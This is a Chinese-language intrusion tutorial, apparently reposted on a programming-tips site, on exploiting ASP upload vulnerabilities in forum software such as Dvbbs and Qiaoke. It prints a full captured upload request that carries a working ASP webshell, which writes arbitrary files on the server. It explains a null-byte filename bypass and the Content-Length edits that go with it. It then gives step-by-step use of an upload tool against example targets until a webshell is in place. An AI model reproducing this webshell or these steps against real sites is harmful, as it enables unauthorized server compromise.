手机
当前位置:查字典教程网 >编程开发 >ASP教程 >实例分析ASP上传漏洞入侵实战及扩展
实例分析ASP上传漏洞入侵实战及扩展
摘要:【上传漏洞欺骗技术】网络上许多程序都有着上传漏洞,比如任我飞扬整站程序、动感购物商城、秋叶商城、惠信新闻系统等。本文主要讲解上传漏洞的入侵实...

【上传漏洞欺骗技术】

网络上许多程序都有着上传漏洞,比如任我飞扬整站程序、动感购物商城、秋叶商城、惠信新闻系统等。本文主要讲解上传漏洞的入侵实战以及一些扩展利用。首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据。一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下:

POST/bbs/upfile.aspHTTP/1.1

…….省略了N多没用信息

Content-Length:1792

Connection:Keep-Alive

Cache-Control:no-cache

Cookie:ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN

-----------------------------7d52191850242

Content-Disposition:form-data;name="filepath"

uploadFace

-----------------------------7d52191850242

Content-Disposition:form-data;name="act"

upload

-----------------------------7d52191850242

Content-Disposition:form-data;name="file1";filename="E:木马aspshell.asp"

Content-Type:text/plain

<%dimobjFSO%>

<%dimfdata%>

<%dimobjCountFile%>

<%onerrorresumenext%>

<%SetobjFSO=Server.CreateObject("Scripting.FileSystemObject")%>

<%ifTrim(request("syfdpath"))<>""then%>

<%fdata=request("cyfddata")%>

<%SetobjCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>

<%objCountFile.Writefdata%>

<%iferr=0then%>

<%response.write"<fontcolor=red><h2>成功!</h2><font>"%>

<%else%>

<%response.write"<fontcolor=red><h1>失败!</h1></font>"%>

<%endif%>

<%err.clear%>

<%endif%>

<%objCountFile.Close%>

<%SetobjCountFile=Nothing%>

<%SetobjFSO=Nothing%>

<%Response.write"<formaction=''''method=post>"%>

<%Response.write"保存留言<fontcolor=red>如D:webx.asp</font>"%>

<%Response.Write"<inputtype=textname=syfdpathwidth=32size=50>"%>

<%Response.Write"<br>"%>

<%Response.write"地址来自"%>

<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>

<%Response.write"<br>"%>

<%Response.write"你的留言:"%>

<%Response.write"<textareaname=cyfddatacols=80rows=10width=32></textarea>"%>

<%Response.write"<inputtype=submitvalue=sky!!>"%>

<%Response.write"</form>"%>

-----------------------------7d52191850242

Content-Disposition:form-data;name="fname"

E:木马aspshell.asp

-----------------------------7d52191850242

Content-Disposition:form-data;name="Submit"

上传

-----------------------------7d52191850242--

传递的信息我们获取了,下面就来修改下达到欺骗目的。主要修改一下几点:

1.Content-Disposition:form-data;name="file1";filename="E:木马aspshell.asp"

2.Content-Disposition:form-data;name="fname"

E:木马aspshell.asp

3.最重要的地方是Content-Disposition:form-data;name="filepath"下面的值要修改下。我们修改成uploadFaceshell.asp后面怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为''''这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit(用Ctrl+H转换到16进制模式下)里将就空格符的20改成00)。

4.还有一个地方也要修改,就是这句Content-Length:1792表示提交数据的字符个数。

如果你修改了filepath的值那么这个长度1792也要变换,一个字母或者数字的长度就是1,不要忘记最后面那个空格那个也算1。

【上传漏洞实战】

我们就先用漏洞的鼻祖动网论坛来实战下。从原理可以看到上传的时侯还要修改数据,还要截包,所以网上出现了许多的工具。现在我们直接用老兵的上传工具来把复杂的步骤变简单,只要修改几个数据就可以。我们来看下这个工具的界面,如下图1:

实例分析ASP上传漏洞入侵实战及扩展1

图1老兵上传工具界面

我们来说下工具的用法:

Action中输入存在上传漏洞文件的URL:

实例分析ASP上传漏洞入侵实战及扩展2http://target.net/bbs/UpFile.asp;UpPath里第一个文本框中的FilePath即为表单中的FilePath,也就是上传路径,等号后面填的是上传到对方服务器上的后门的名称/shell.asp;输入一个WEB程序允许上传的类型文本框中默认JPG就可以了(一般网站都允许上传JPG图片文件);File里第一个文本框中的File1即是表单中的File1,等号后面填写所要在本机上传的木马路径;Cookies中填上我们用抓取数据包工具如WsockExpert抓取的Cookies值,记住最好是你在系统中注册后的Cookies值。

这里以我们入侵动网论坛为例,这里Action:填入

实例分析ASP上传漏洞入侵实战及扩展2http://www.***.com/bbs/upfile.asp;UpPath第一个文本框填入:filepath;第二个填入:/shell.asp(你也可以写/bbs/shell.asp这样上传成功后就传到/bbs目录下了!)输入一个WEB程序允许上传的类型文本框中默认JPG就好了;File第一个文本框输入:file1;第二个填入:E:木马aspshell.asp(这个ASP木马是在自己机器上的路径,点后面的文件打开图标浏览找到ASP木马即可。)

Cookies:这里不用抓包了,因为这里的上传根本不检测Cookie的哦。没有它会报错的如果都填写好了直接按“Submit”按键提交!

实例分析ASP上传漏洞入侵实战及扩展3

图2上传成功提示

当点击Submit按钮后,最好用浏览器自己访问下,程序也会有误报的。我们用浏览器来访问下。

实例分析ASP上传漏洞入侵实战及扩展4

图3可以看到已经上传成功了

下一步就是写入一个功能强大的木马来操作了,不再深入。

【上传漏洞实战扩展】

并不仅仅只有动网有上传漏洞,在网络上许许多多的程序都有这个漏洞,上传漏洞的原理一样,掌握之后即可自由发挥,具体视程序代码而定。下面我们以乔客论坛为例为大家扩展一下上传漏洞的应用。

首先注册一个正常用户并且登录,然后找到上传页面地址:

实例分析ASP上传漏洞入侵实战及扩展2http://192.168.1.3/3/upload.asp?uppath=forum&upname=&uptext=jk_word查看源码如下:

--------------------------------------------------------------------------------

<FORMname=form1action=?action=upfilemethod=postencType=multipart/form-data>

<INPUTtype=hiddenvalue=forumname=up_path>

<INPUTtype=hiddenvalue=200593075710name=up_name>

<INPUTtype=hiddenvalue=jk_wordname=up_text>

<INPUTtype=filesize=40name=file_name1>

<INPUTtype=submitvalue=点击上传name=submit>

--------------------------------------------------------------------------------

看到源代码后,就应该知道老兵上传工具里边我们该怎么填写了。

Action中输入:

实例分析ASP上传漏洞入侵实战及扩展2http://192.168.1.3/3/upload.asp?action=upfileUpPath第一个文本框中输入:up_name;第二个中输入上传后的SHELL名称shell.asp;File第一个文本框中输入file_name1,第二个是本机的木马文件。COOKIES这里填写抓包得到的COOKIES值,注意一定要填写用WsockExpert抓取的Cookies信息,其主要功能是用来验证!如图:

实例分析ASP上传漏洞入侵实战及扩展5

图4设置如图

都设置好后点击Submit按钮,看到上传成功了,打开浏览器访问一下看是否成功,如图

实例分析ASP上传漏洞入侵实战及扩展6

图5上传成功

至此已经成功的拿到webshell,就是这么简单,重要的是我们的思路要灵活,也要善于发现一个系统是否存在上传漏洞。当然至于拿到webshell后你能做什么,就看服务器的安全配置以及你的个人水平了哦,这里不做讨论。

【实例分析ASP上传漏洞入侵实战及扩展】相关文章:

实例演练ASP+XML编程比较全的了第1/2页

如何在ASP中使用数据库

ASP ACCESS 日期操作语句小结 By Stabx

Ajax+ASP和Flash+ASP数据读取取方法有些相似的实现方法

asp 之上传漏洞终结篇

ASP实例学习:随机生成文件名的函数

ASP防止SQL注入方法

关于使用存储过程创建分页

如何在 Access 2003 和 Access 2002 中创建 DSN 的连接到 SQLServer 对链接表

深思 PHP 数组遍历的差异(array_diff 的实现)

精品推荐
分类导航